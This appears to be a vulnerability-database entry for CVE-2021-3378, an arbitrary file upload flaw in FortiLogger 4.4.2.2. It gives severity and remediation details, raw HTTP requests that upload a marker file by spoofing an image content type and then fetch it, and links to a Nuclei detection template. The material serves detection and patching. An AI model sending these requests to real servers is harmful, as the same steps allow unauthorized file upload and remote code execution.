| Title | FortiLogger 4.4.2.2 - Arbitrary File Upload |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system. |
| Remediation | Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92847 |
| CVE ID | CVE-2021-3378 |
| CWE ID | CWE-434 |
| Tags | cve cve2021 fortilogger fortigate fortinet packetstorm fileupload intrusive vuln |
FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a “Content-Type: image/png” header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 207
Accept: application/json
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="file"; filename="poc.txt"
Content-Type: image/png
38FLBZ34QwNBjUYUj4oKSESyIwj
------WebKitFormBoundarySHHbUsfCoxlX1bpS
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3378.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3378.pcap
N/AN/A